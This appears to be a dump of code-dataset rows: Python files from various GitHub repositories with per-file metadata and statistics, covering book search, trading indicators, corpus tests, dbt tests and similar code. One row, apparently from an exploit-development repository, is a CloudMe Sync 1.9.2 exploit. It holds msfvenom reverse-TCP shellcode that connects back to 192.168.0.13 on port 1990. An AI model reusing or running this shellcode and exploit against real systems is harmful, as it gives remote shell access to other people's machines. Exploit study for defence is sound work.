| 15 | 50 | 0.695238 | 15 | 105 | 4.866667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.161905 | 105 | 6 | 51 | 17.5 | 0.829545 | 0.190476 | 0 | 0 | 0 | 0 | 0.440476 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b9152d833ceca1361f3f634943aea24e51af6ece | 888 | py | Python | app/entity/user_entity.py | JunFuruya/Ratsnake | ff7fe7f6b56663978d2ee2d94df5d88786a0eaa7 | [
"MIT"
] | null | null | null | app/entity/user_entity.py | JunFuruya/Ratsnake | ff7fe7f6b56663978d2ee2d94df5d88786a0eaa7 | [
"MIT"
] | 5 | 2018-05-17T04:03:39.000Z | 2021-09-08T01:03:17.000Z | app/entity/user_entity.py | JunFuruya/Hideout | ff7fe7f6b56663978d2ee2d94df5d88786a0eaa7 | [
"MIT"
] | null | null | null | # -*- coding: UTF-8 -*-
from app.entity.base_web_entity import BaseWebEntity
from app.helper.hash_helper import HashHelper
class UserEntity(BaseWebEntity):
__user_id = None
__user_username = ''
__user_hashed_password = ''
def set_user_id(self, user_id):
self.__user_id = user_id
r... | 25.371429 | 61 | 0.672297 | 111 | 888 | 4.873874 | 0.279279 | 0.133087 | 0.232902 | 0.088725 | 0.354898 | 0.114603 | 0.114603 | 0 | 0 | 0 | 0 | 0.001522 | 0.260135 | 888 | 35 | 62 | 25.371429 | 0.821918 | 0.067568 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 0 | 1 | 0.285714 | false | 0.238095 | 0.095238 | 0.142857 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 6 |
b944f18eebc013d50a2ec5280216bc05b7e81397 | 9,165 | py | Python | performbooksearch.py | klever12/Search-Books | eb5fb1f03dbdcef8c9735783a1db233fccd8ead5 | [
"MIT"
] | null | null | null | performbooksearch.py | klever12/Search-Books | eb5fb1f03dbdcef8c9735783a1db233fccd8ead5 | [
"MIT"
] | null | null | null | performbooksearch.py | klever12/Search-Books | eb5fb1f03dbdcef8c9735783a1db233fccd8ead5 | [
"MIT"
] | null | null | null | from termcolor import colored
import json
from urllib.request import urlopen
from urllib.error import URLError
from printlists import print_searched_books
def search_books():
"""This function searches for books using the Google Books API"""
searching_books = True
api = "https://www.googleapis.com/books/v... | 38.34728 | 75 | 0.441244 | 795 | 9,165 | 4.860377 | 0.142138 | 0.062112 | 0.060559 | 0.065217 | 0.744048 | 0.709886 | 0.709886 | 0.709886 | 0.709886 | 0.677277 | 0 | 0.002853 | 0.464594 | 9,165 | 238 | 76 | 38.508403 | 0.784593 | 0.020076 | 0 | 0.792553 | 0 | 0 | 0.154961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.005319 | false | 0 | 0.026596 | 0 | 0.085106 | 0.069149 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b967e5257f48f996a8a9f4440fee5546624a41d2 | 8,977 | py | Python | technical_analysis/volume.py | benkulbertis/GamestonkTerminal | f1ebf7c3082b7d985e038fdb4021be317be001d2 | [
"MIT"
] | null | null | null | technical_analysis/volume.py | benkulbertis/GamestonkTerminal | f1ebf7c3082b7d985e038fdb4021be317be001d2 | [
"MIT"
] | null | null | null | technical_analysis/volume.py | benkulbertis/GamestonkTerminal | f1ebf7c3082b7d985e038fdb4021be317be001d2 | [
"MIT"
] | null | null | null | import argparse
import pandas_ta as ta
import matplotlib.pyplot as plt
from pandas.plotting import register_matplotlib_converters
from helper_funcs import check_positive
register_matplotlib_converters()
# ------------------------------------------------------- AD ----------------------------------------------------... | 53.118343 | 126 | 0.576473 | 1,225 | 8,977 | 4.10449 | 0.162449 | 0.077963 | 0.057279 | 0.038186 | 0.788783 | 0.753779 | 0.753779 | 0.742442 | 0.742442 | 0.726929 | 0 | 0.033018 | 0.25777 | 8,977 | 168 | 127 | 53.434524 | 0.721597 | 0.040325 | 0 | 0.742647 | 0 | 0.014706 | 0.343794 | 0.020339 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014706 | false | 0 | 0.036765 | 0 | 0.066176 | 0.029412 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b9741d025777f285c24df3d3b3df57b59900819a | 17,508 | py | Python | tests/test_corpus.py | erayee/Montreal-Forced-Aligner | becd3b316d1999212910b4d0976e8c0405241493 | [
"MIT"
] | null | null | null | tests/test_corpus.py | erayee/Montreal-Forced-Aligner | becd3b316d1999212910b4d0976e8c0405241493 | [
"MIT"
] | null | null | null | tests/test_corpus.py | erayee/Montreal-Forced-Aligner | becd3b316d1999212910b4d0976e8c0405241493 | [
"MIT"
] | null | null | null | import os
import shutil
import pytest
from montreal_forced_aligner.corpus import AlignableCorpus, TranscribeCorpus
from montreal_forced_aligner.corpus.base import get_wav_info, SoxError
from montreal_forced_aligner.dictionary import Dictionary
from montreal_forced_aligner.config.train_config import train_yaml_to_confi... | 43.123153 | 122 | 0.75257 | 2,433 | 17,508 | 5.095356 | 0.066995 | 0.030975 | 0.096798 | 0.031621 | 0.85795 | 0.817214 | 0.788739 | 0.78156 | 0.762201 | 0.756715 | 0 | 0.004821 | 0.146904 | 17,508 | 406 | 123 | 43.123153 | 0.825187 | 0 | 0 | 0.669591 | 0 | 0 | 0.038666 | 0 | 0 | 0 | 0 | 0 | 0.181287 | 1 | 0.067251 | false | 0 | 0.020468 | 0 | 0.087719 | 0.026316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b9a8111ecf1843f817957335691cb6b160c3164e | 177 | py | Python | TMCL/__init__.py | NativeDesign/python-tmcl | 7d79359274ef7e59ca561a1bf474e94bfdc5973c | [
"MIT"
] | 13 | 2017-07-14T07:51:19.000Z | 2021-06-14T10:18:17.000Z | TMCL/__init__.py | NativeDesign/python-tmcl | 7d79359274ef7e59ca561a1bf474e94bfdc5973c | [
"MIT"
] | 16 | 2017-07-18T09:13:34.000Z | 2022-01-15T07:39:56.000Z | TMCL/__init__.py | NativeDesign/python-tmcl | 7d79359274ef7e59ca561a1bf474e94bfdc5973c | [
"MIT"
] | 10 | 2017-01-10T17:43:48.000Z | 2022-03-30T11:44:56.000Z | from .bus import Bus
from .motor import Motor
from .commands import Command
from .reply import Reply
def connect ( serial_port, CAN = False ):
return Bus(serial_port, CAN)
| 22.125 | 41 | 0.751412 | 27 | 177 | 4.851852 | 0.518519 | 0.152672 | 0.198473 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.180791 | 177 | 7 | 42 | 25.285714 | 0.903448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.666667 | 0.166667 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
b9afe7b6c36b45ebaece996725ec7dd69464be30 | 63 | py | Python | signal_logger_ui/test/test_signal_logger_ui.py | mcx/signal_logger | 7d209bb42ae563fe78175f4b52a8f5c648984a39 | [
"BSD-3-Clause"
] | null | null | null | signal_logger_ui/test/test_signal_logger_ui.py | mcx/signal_logger | 7d209bb42ae563fe78175f4b52a8f5c648984a39 | [
"BSD-3-Clause"
] | 4 | 2019-07-09T08:49:38.000Z | 2021-09-13T11:26:02.000Z | signal_logger_ui/test/test_signal_logger_ui.py | mcx/signal_logger | 7d209bb42ae563fe78175f4b52a8f5c648984a39 | [
"BSD-3-Clause"
] | 3 | 2020-05-28T08:50:03.000Z | 2022-03-27T12:54:55.000Z | import signal_logger_ui
def test_placeholder():
assert True | 15.75 | 23 | 0.809524 | 9 | 63 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 63 | 4 | 24 | 15.75 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b9dc0df31309f5eb24cb2c055d9194cf73ff1aa4 | 13,013 | py | Python | test/test_reward_estimation.py | BaiLiping/BLPtensorforce | 01bc0b7130a497c9dfff9caa2fd5df919ffe7552 | [
"Apache-2.0"
] | 1 | 2021-12-25T16:54:16.000Z | 2021-12-25T16:54:16.000Z | test/test_reward_estimation.py | BaiLiping/BLPtensorforce | 01bc0b7130a497c9dfff9caa2fd5df919ffe7552 | [
"Apache-2.0"
] | null | null | null | test/test_reward_estimation.py | BaiLiping/BLPtensorforce | 01bc0b7130a497c9dfff9caa2fd5df919ffe7552 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Tensorforce Team. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 47.148551 | 98 | 0.64474 | 1,527 | 13,013 | 5.281598 | 0.128356 | 0.054557 | 0.028642 | 0.041662 | 0.843769 | 0.82579 | 0.807564 | 0.789461 | 0.769746 | 0.753875 | 0 | 0.025434 | 0.238608 | 13,013 | 275 | 99 | 47.32 | 0.788555 | 0.125644 | 0 | 0.593458 | 0 | 0 | 0.083083 | 0.002293 | 0 | 0 | 0 | 0.003636 | 0.014019 | 1 | 0.018692 | false | 0 | 0.009346 | 0 | 0.037383 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6a01eea73bef055220cb9d2dbac244a14ffe451c | 12 | bzl | Python | test/com/facebook/buck/parser/testdata/load_twice_from_bzl/b.bzl | jasonnam/buck | 1ddbbf986312b30413aa36cac337267536a11f04 | [
"Apache-2.0"
] | null | null | null | test/com/facebook/buck/parser/testdata/load_twice_from_bzl/b.bzl | jasonnam/buck | 1ddbbf986312b30413aa36cac337267536a11f04 | [
"Apache-2.0"
] | null | null | null | test/com/facebook/buck/parser/testdata/load_twice_from_bzl/b.bzl | jasonnam/buck | 1ddbbf986312b30413aa36cac337267536a11f04 | [
"Apache-2.0"
] | null | null | null | z = 3
w = 4
| 4 | 5 | 0.333333 | 4 | 12 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0.5 | 12 | 2 | 6 | 6 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6a0844c83e0a2a558915b116898eb0f41af79887 | 45 | py | Python | pystitch/__init__.py | dwallace0723/pystitch | 77b609735cf399d4bd4f3fe3018e8005f4f0fe18 | [
"MIT"
] | 2 | 2019-10-28T15:23:24.000Z | 2021-02-24T09:13:19.000Z | pystitch/__init__.py | dwallace0723/pystitch | 77b609735cf399d4bd4f3fe3018e8005f4f0fe18 | [
"MIT"
] | 1 | 2021-06-01T23:53:48.000Z | 2021-06-01T23:53:48.000Z | pystitch/__init__.py | dwallace0723/pystitch | 77b609735cf399d4bd4f3fe3018e8005f4f0fe18 | [
"MIT"
] | 1 | 2020-05-25T11:06:25.000Z | 2020-05-25T11:06:25.000Z | from pystitch.client import PyStitch # noqa
| 22.5 | 44 | 0.8 | 6 | 45 | 6 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155556 | 45 | 1 | 45 | 45 | 0.947368 | 0.088889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6a12b94a35a7c57f7341646a6a296029ca61755f | 1,768 | py | Python | tests/test_angular_style.py | rainchen/git-changelog | 0204c7ab5d9e6682a94d3842df3e16cb19bd3ee6 | [
"ISC"
] | 1 | 2019-11-28T15:20:31.000Z | 2019-11-28T15:20:31.000Z | tests/test_angular_style.py | LoicViennois/git-changelog | 0204c7ab5d9e6682a94d3842df3e16cb19bd3ee6 | [
"ISC"
] | null | null | null | tests/test_angular_style.py | LoicViennois/git-changelog | 0204c7ab5d9e6682a94d3842df3e16cb19bd3ee6 | [
"ISC"
] | null | null | null | from git_changelog.build import Commit
from git_changelog.style import AngularStyle
def test_angular_style_breaking_change():
subject = "feat: this is a new breaking feature"
body = ["BREAKING CHANGE: there is a breaking feature in this code"]
commit = Commit(hash="aaaaaaa", subject=subject, body=body, au... | 39.288889 | 118 | 0.734163 | 238 | 1,768 | 5.218487 | 0.168067 | 0.128824 | 0.115942 | 0.122383 | 0.877617 | 0.849436 | 0.832528 | 0.832528 | 0.832528 | 0.832528 | 0 | 0.053908 | 0.160633 | 1,768 | 44 | 119 | 40.181818 | 0.783019 | 0 | 0 | 0.666667 | 0 | 0 | 0.248869 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.111111 | false | 0 | 0.055556 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6a253ca6dd135c4ece905fbd3e11a57d21e86625 | 65 | py | Python | venv/my_power.py | Good-Gulf/power_new | ef74c35ea4a5f64da90dc930858aad059ddac2de | [
"MIT"
] | null | null | null | venv/my_power.py | Good-Gulf/power_new | ef74c35ea4a5f64da90dc930858aad059ddac2de | [
"MIT"
] | null | null | null | venv/my_power.py | Good-Gulf/power_new | ef74c35ea4a5f64da90dc930858aad059ddac2de | [
"MIT"
] | null | null | null |
def my_power(basis,exponent):
return basis*exponent
pass | 16.25 | 29 | 0.723077 | 9 | 65 | 5.111111 | 0.777778 | 0.565217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 65 | 4 | 30 | 16.25 | 0.884615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
6a313b304bdfac487df8d275f8ff3583f51b474a | 127 | py | Python | simpletransformers/multiav/__init__.py | g-simmons/simpletransformers | ffd3fd2f6e96d00fcfa934a36eed44d182d006db | [
"Apache-2.0"
] | null | null | null | simpletransformers/multiav/__init__.py | g-simmons/simpletransformers | ffd3fd2f6e96d00fcfa934a36eed44d182d006db | [
"Apache-2.0"
] | null | null | null | simpletransformers/multiav/__init__.py | g-simmons/simpletransformers | ffd3fd2f6e96d00fcfa934a36eed44d182d006db | [
"Apache-2.0"
] | null | null | null | from simpletransformers.config.model_args import MultiAVArgs
from simpletransformers.multiav.multiav_model import MultiAVModel
| 42.333333 | 65 | 0.905512 | 14 | 127 | 8.071429 | 0.642857 | 0.389381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062992 | 127 | 2 | 66 | 63.5 | 0.94958 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6a33b4b693b804b736d9dec2a6cfb3c02fdb26a5 | 47 | py | Python | plotting/data_extractor/extraction_utils/scatter_utils.py | eric-erki/GISportal | 407764334b3ba50da4429fc170b98e20468ff8a0 | [
"Apache-2.0"
] | 55 | 2015-03-20T23:54:17.000Z | 2022-01-22T04:33:06.000Z | plotting/data_extractor/extraction_utils/scatter_utils.py | eric-erki/GISportal | 407764334b3ba50da4429fc170b98e20468ff8a0 | [
"Apache-2.0"
] | 27 | 2016-03-14T15:44:05.000Z | 2021-09-03T10:23:06.000Z | plotting/data_extractor/extraction_utils/scatter_utils.py | eric-erki/GISportal | 407764334b3ba50da4429fc170b98e20468ff8a0 | [
"Apache-2.0"
] | 24 | 2015-03-11T14:59:24.000Z | 2022-03-31T10:47:17.000Z | def test_time_axis(filenames):
return "hmmmm"
| 15.666667 | 30 | 0.787234 | 7 | 47 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 47 | 2 | 31 | 23.5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
dbe5f09427725d1e220d3ced8c439d736c3f6db6 | 11,546 | py | Python | texar/losses/pg_losses.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 25 | 2019-01-03T09:15:20.000Z | 2022-02-12T04:20:59.000Z | texar/losses/pg_losses.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 4 | 2019-03-28T11:02:20.000Z | 2022-02-15T04:57:33.000Z | texar/losses/pg_losses.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 9 | 2019-01-03T02:20:37.000Z | 2022-02-12T04:20:50.000Z | #
"""
Various loss functions for policy gradients.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from texar.losses.losses_utils import mask_and_reduce
from texar.utils.shapes import get_rank
# pylint: disable=too-many-argumen... | 46.369478 | 80 | 0.619955 | 1,460 | 11,546 | 4.690411 | 0.106849 | 0.083528 | 0.048189 | 0.028475 | 0.857331 | 0.84448 | 0.811186 | 0.772634 | 0.739632 | 0.717436 | 0 | 0.00444 | 0.297679 | 11,546 | 248 | 81 | 46.556452 | 0.840054 | 0.63797 | 0 | 0.488372 | 0 | 0 | 0.052314 | 0.020268 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0 | 0.069767 | 0 | 0.116279 | 0.011628 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dbef8fb08525da309f4d6673d407a423e1cee964 | 46 | py | Python | sparkmagic/sparkmagic/kernels/__init__.py | sciserver/sparkmagic | ac0852cbe88a41faa368cf1e1c89045a2de973bf | [
"RSA-MD"
] | 1,141 | 2015-09-21T20:52:00.000Z | 2022-03-31T14:15:51.000Z | sparkmagic/sparkmagic/kernels/__init__.py | sciserver/sparkmagic | ac0852cbe88a41faa368cf1e1c89045a2de973bf | [
"RSA-MD"
] | 605 | 2015-09-23T23:27:43.000Z | 2022-03-16T07:46:52.000Z | sparkmagic/sparkmagic/kernels/__init__.py | sciserver/sparkmagic | ac0852cbe88a41faa368cf1e1c89045a2de973bf | [
"RSA-MD"
] | 442 | 2015-09-23T21:31:28.000Z | 2022-03-13T15:19:57.000Z | from sparkmagic.kernels.kernelmagics import *
| 23 | 45 | 0.847826 | 5 | 46 | 7.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 46 | 1 | 46 | 46 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e01fa75a7a3b66decda4761b660f6b0b66fd1a1c | 2,999 | py | Python | codes/cloudMe_Sync_1.9.2.py | SkyBulk/exploit-development | 0653997e264a9e9113f633b4de977a978d39e8c5 | [
"MIT"
] | 18 | 2019-04-11T02:27:07.000Z | 2022-01-24T09:53:13.000Z | codes/cloudMe_Sync_1.9.2.py | SkyBulk/exploit-development | 0653997e264a9e9113f633b4de977a978d39e8c5 | [
"MIT"
] | null | null | null | codes/cloudMe_Sync_1.9.2.py | SkyBulk/exploit-development | 0653997e264a9e9113f633b4de977a978d39e8c5 | [
"MIT"
] | 11 | 2019-04-03T12:15:45.000Z | 2022-03-23T15:02:32.000Z | #!/usr/bin/python
# tested on windows 7 x86 sp1
import socket
import struct
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=1990 -b "\x00\x0a\x0d" -f python -v shellcode
shellcode = ""
shellcode += "\xdb\xd8\xd9\x74\x24\xf4\xbd\x66\xdc\x28\xe4\x5e"
shellcode += "\x33\xc9\xb1\x52\x31\x6e\x17\x03\x6e\x... | 49.163934 | 110 | 0.697232 | 580 | 2,999 | 3.598276 | 0.472414 | 0.01725 | 0.006708 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219336 | 0.075692 | 2,999 | 60 | 111 | 49.983333 | 0.53355 | 0.055352 | 0 | 0 | 0 | 0.72 | 0.686815 | 0.629198 | 0.02 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0.04 | null | null | 0.06 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e02e258399fee69d4d68bcdabb98b634c7dc4ea6 | 5,052 | py | Python | test/integration/035_docs_blocks/test_docs_blocks.py | vogt4nick/dbt | 1bd82d4914fd80fcc6fe17140e46554ad677eab0 | [
"Apache-2.0"
] | 1 | 2021-04-08T03:33:33.000Z | 2021-04-08T03:33:33.000Z | test/integration/035_docs_blocks/test_docs_blocks.py | azhard/dbt | 9cd7cbc9e35e5a7c8c4f17a3d113263f4421ab55 | [
"Apache-2.0"
] | 1 | 2021-04-30T21:33:11.000Z | 2021-04-30T21:33:11.000Z | test/integration/035_docs_blocks/test_docs_blocks.py | azhard/dbt | 9cd7cbc9e35e5a7c8c4f17a3d113263f4421ab55 | [
"Apache-2.0"
] | 1 | 2021-02-25T13:47:29.000Z | 2021-02-25T13:47:29.000Z | import json
import os
from test.integration.base import DBTIntegrationTest, use_profile
import dbt.exceptions
class TestGoodDocsBlocks(DBTIntegrationTest):
@property
def schema(self):
return 'docs_blocks_035'
@staticmethod
def dir(path):
return os.path.normpath(path)
@property
... | 28.223464 | 74 | 0.548496 | 509 | 5,052 | 5.280943 | 0.194499 | 0.066964 | 0.047619 | 0.046875 | 0.864583 | 0.864583 | 0.852307 | 0.80878 | 0.80878 | 0.743304 | 0 | 0.00472 | 0.328979 | 5,052 | 178 | 75 | 28.382022 | 0.788201 | 0.025139 | 0 | 0.684932 | 0 | 0 | 0.182853 | 0.017879 | 0 | 0 | 0 | 0 | 0.123288 | 1 | 0.123288 | false | 0.013699 | 0.027397 | 0.082192 | 0.260274 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e04af1250bea305be2915269d83f457ea7b8c545 | 81 | py | Python | reaver/__init__.py | HatsuneMiku4/reaver | 059320ce109498ec4100fcc2cee32177c427f1ea | [
"MIT"
] | 239 | 2019-01-18T08:47:24.000Z | 2022-03-21T08:29:50.000Z | reaver/__init__.py | HatsuneMiku4/reaver | 059320ce109498ec4100fcc2cee32177c427f1ea | [
"MIT"
] | 19 | 2019-01-27T10:10:12.000Z | 2021-12-29T20:02:05.000Z | reaver/__init__.py | HatsuneMiku4/reaver | 059320ce109498ec4100fcc2cee32177c427f1ea | [
"MIT"
] | 44 | 2019-01-18T02:12:46.000Z | 2021-07-28T14:54:10.000Z | import reaver.envs
import reaver.models
import reaver.agents
import reaver.utils
| 16.2 | 20 | 0.851852 | 12 | 81 | 5.75 | 0.5 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098765 | 81 | 4 | 21 | 20.25 | 0.945205 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0ebdf814a103c9f0a39a556a56a4469cf9d61c95 | 27,601 | py | Python | django_toolbox/discounts/tests/test_discount_basic.py | stlk/django-toolbox | 146abdae59f7b27be7aaddce611faea91a0d4b69 | [
"MIT"
] | 2 | 2019-10-03T13:37:01.000Z | 2020-07-02T11:43:20.000Z | django_toolbox/discounts/tests/test_discount_basic.py | stlk/django-toolbox | 146abdae59f7b27be7aaddce611faea91a0d4b69 | [
"MIT"
] | 7 | 2018-11-10T12:44:58.000Z | 2021-09-22T17:50:59.000Z | django_toolbox/discounts/tests/test_discount_basic.py | stlk/django-toolbox | 146abdae59f7b27be7aaddce611faea91a0d4b69 | [
"MIT"
] | null | null | null | import copy
from unittest.mock import patch
from django.conf import settings
import responses
from django_toolbox.apps.billing.tests import ShopifyViewTest
from ...shopify_graphql_test import mock_response
